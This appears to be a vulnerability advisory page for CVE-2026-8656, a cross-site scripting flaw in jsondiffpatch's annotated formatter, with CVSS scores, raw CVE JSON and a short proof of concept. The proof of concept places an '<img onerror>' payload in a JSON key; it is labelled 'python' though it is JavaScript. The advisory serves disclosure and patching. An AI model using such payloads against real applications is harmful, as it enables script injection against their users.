Security Vulnerability Report
中文
CVE-2026-8656 CVSS 6.1 MEDIUM

CVE-2026-8656

Published: 2026-05-16 06:16:18
Last Modified: 2026-05-16 06:16:18

Description

Versions of the package jsondiffpatch before 0.7.6 are vulnerable to Cross-site Scripting (XSS) via the annotated formatter due to improper sanitization of JSON values and property names. If an application compares untrusted JSON/object data and renders annotated formatter output in the DOM, attacker-controlled HTML can be interpreted by the browser, resulting in XSS.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

jsondiffpatch < 0.7.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// PoC for CVE-2026-8656: jsondiffpatch XSS // Requires vulnerable version of jsondiffpatch (< 0.7.6) const jsondiffpatch = require('jsondiffpatch'); const formatters = require('jsondiffpatch/formatters'); // 1. Create a sample diff involving malicious data // The key contains an XSS payload const left = { "safe_key": "safe_value" }; const right = { "safe_key": "safe_value", "<img src=x onerror=alert('CVE-2026-8656')>": "malicious" }; // 2. Generate the delta const delta = jsondiffpatch.diff(left, right); // 3. Format the delta using the annotated formatter // This formatter is vulnerable as it does not sanitize keys/values const htmlOutput = formatters.annotated.format(delta); // 4. Simulate rendering to DOM (Vulnerability Trigger) // In a real app, this would be document.body.innerHTML = htmlOutput; console.log("Generated HTML:", htmlOutput); // If the output is rendered, the alert box would appear. // To test, one would typically run this in an environment where the HTML is rendered.

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-8656", "sourceIdentifier": "[email protected]", "published": "2026-05-16T06:16:18.347", "lastModified": "2026-05-16T06:16:18.347", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Versions of the package jsondiffpatch before 0.7.6 are vulnerable to Cross-site Scripting (XSS) via the annotated formatter due to improper sanitization of JSON values and property names. If an application compares untrusted JSON/object data and renders annotated formatter output in the DOM, attacker-controlled HTML can be interpreted by the browser, resulting in XSS."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:L/VA:N/SC:L/SI:L/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.0, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://gist.github.com/yuki-matsuhashi/72ed072d919f3c52adba298faa6a7da5", "source": "[email protected]"}, {"url": "https://github.com/benjamine/jsondiffpatch/commit/232338b34c4653148ca2f44e897a765b72c8c98f", "source": "[email protected]"}, {"url": "https://security.snyk.io/vuln/SNYK-JS-JSONDIFFPATCH-16635946", "source": "[email protected]"}]}}